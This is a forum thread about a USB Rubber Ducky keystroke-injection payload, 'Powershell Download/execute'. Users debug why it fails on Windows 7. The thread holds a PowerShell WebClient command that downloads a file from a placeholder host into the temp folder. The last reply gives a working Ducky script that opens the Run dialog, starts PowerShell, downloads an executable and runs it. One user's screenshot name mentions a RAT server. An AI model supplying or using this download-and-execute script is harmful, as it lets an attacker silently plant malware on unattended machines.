Jump to content

[Payload] Powershell Download/execute


mubix
 Share

Recommended Posts

  • 10 months later...

I get this error when the ducky does its thing.

"Windows cannot find '#powershell'. Make sure you typed the name correctly, and then try again. " Any suggestions?

Also,

For the "Local filename " it should look like this right?

ratserver.png[/img]

what version of windows? if below 7 then you have to install powershell

Edited by petertfm
Link to comment
Share on other sites

what version of windows? if below 7 then you have to install powershell

Windows 7 Ultimate, I can launch Powershell and everything seems to be working.

Could it be how I created my payload using the generate payload button. See Photobucket link to varify everything looks how it should.

For local file name it should be the name of the file correct. Example- "myfile.exe"

Edited by HoodooTheGreat
Link to comment
Share on other sites

  • 2 weeks later...

Ok, I must be doing something wrong with this payload. Everytime I try to run the payload, I get the following:

C:\Users\xxxx>powershell -noprofile -noninteractive -command "& {$client=new-object system.net.webclient;$client.downloadfile("http://x.x.x.x/26.
txt", "$env:temp\_shella.txt")}"
Missing ')' in method call.
At line:1 char:65
+ & {$client=new-object system.net.webclient;$client.downloadfile( <<<< http://x.x.x.x/26.txt, $env:temp\_shella.txt)}
+ CategoryInfo : ParserError: (CloseParenToken:TokenId) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : MissingEndParenthesisInMethodCall

I can't even get it to run right from the command line. I can get it to run if I break it up. If I run powershell first, then execute the new-object downloadfile portion, the file downloads fine. I'm running this on Windows 7 Enterprise. Any ideas?

Link to comment
Share on other sites

  • 4 weeks later...

Ok, I must be doing something wrong with this payload. Everytime I try to run the payload, I get the following:

C:\Users\xxxx>powershell -noprofile -noninteractive -command "& {$client=new-object system.net.webclient;$client.downloadfile("http://x.x.x.x/26.
txt", "$env:temp\_shella.txt")}"
Missing ')' in method call.
At line:1 char:65
+ & {$client=new-object system.net.webclient;$client.downloadfile( <<<< http://x.x.x.x/26.txt, $env:temp\_shella.txt)}
+ CategoryInfo : ParserError: (CloseParenToken:TokenId) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : MissingEndParenthesisInMethodCall

I can't even get it to run right from the command line. I can get it to run if I break it up. If I run powershell first, then execute the new-object downloadfile portion, the file downloads fine. I'm running this on Windows 7 Enterprise. Any ideas?

This is because when you go into run, they only allow a certain number of characters... You can fix this by just saying "enter" after you type power shell in...


DELAY 2000
GUI r
DELAY 100
STRING powershell
ENTER
STRING (new-object System.Net.WebClient).DownloadFile('Executable URL','%TEMP%\Local Filename'); Start-Process "%TEMP%\Local Filename"
ENTER
[/CODE]

Edited by Neworld
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...